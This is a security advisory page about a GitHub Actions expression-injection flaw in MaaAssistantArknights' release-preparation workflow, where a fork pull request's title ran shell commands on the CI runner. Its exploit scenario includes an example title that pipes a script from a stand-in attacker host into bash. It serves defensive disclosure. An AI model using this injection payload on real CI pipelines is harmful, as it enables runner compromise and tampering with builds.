7.6 HIGH

Remotely reachable via a crafted fork-PR title (AV:N/AC:L/PR:N), but GitHub's first-contributor workflow-approval gate warrants UI:R; runner integrity is high while the read-only fork token limits confidentiality and availability.

DescriptionCVE.org

MaaAssistantArknights is a one-click tool for daily Arknights tasks. In the current dev-v2 workflow, .github/workflows/release-preparation.yml inlined attacker-controlled github.event.pull_request.title into a run: shell command during the pull_request opened, reopened, and ready_for_review events, so a non-draft fork PR whose title starts with Release v could execute shell commands on the ubuntu-latest runner during the generate-changelog job. This vulnerability is fixed by commit cafc3946059e6337d2089d4fec8b6885ba17c332.

AnalysisAI

GitHub Actions expression injection in MaaAssistantArknights' dev-v2 CI (release-preparation.yml) lets an external attacker execute arbitrary shell commands on the ubuntu-latest runner by opening a non-draft fork pull request whose title begins with 'Release v'. The attacker-controlled pull_request.title was inlined directly into a run: block during opened, reopened, and ready_for_review events, so a crafted title breaks out of the sed command in the generate-changelog job. …

Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to open a pull request from a fork (github.event.pull_request) that is NOT a draft (draft == false) and whose title begins with the literal prefix 'Release v', which is the exact startsWith(...) guard on the vulnerable job; the payload is embedded in the PR title using shell metacharacters (backticks or $(...)). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L, base 8.8) reflects network-reachable, low-complexity, unauthenticated code execution on the runner with high integrity impact and lower confidentiality/availability impact - consistent with the fork PR token being read-only, which caps data theft. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker forks the repository and opens a non-draft pull request titled `Release v$(curl -s https://evil.example/x.sh | bash)` (or using backticks). When the pull_request opened/reopened/ready_for_review event fires and the generate-changelog job runs, the title is expanded into the sed pipeline and the injected command executes on the ubuntu-latest runner. …
Remediation Upstream fix available (commit cafc3946059e6337d2089d4fec8b6885ba17c332); no packaged release version applies since the change is to CI workflow files, so downstream users of the tool need take no action and repository maintainers should ensure dev-v2/default branches have merged this commit. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: if your organization uses MaaAssistantArknights, immediately review recent CI runs and pull requests with titles starting with 'Release v' for unauthorized command execution; if you maintain the project, disable the pull_request and pull_request_target events on the affected workflow or restrict them to non-fork repositories. …
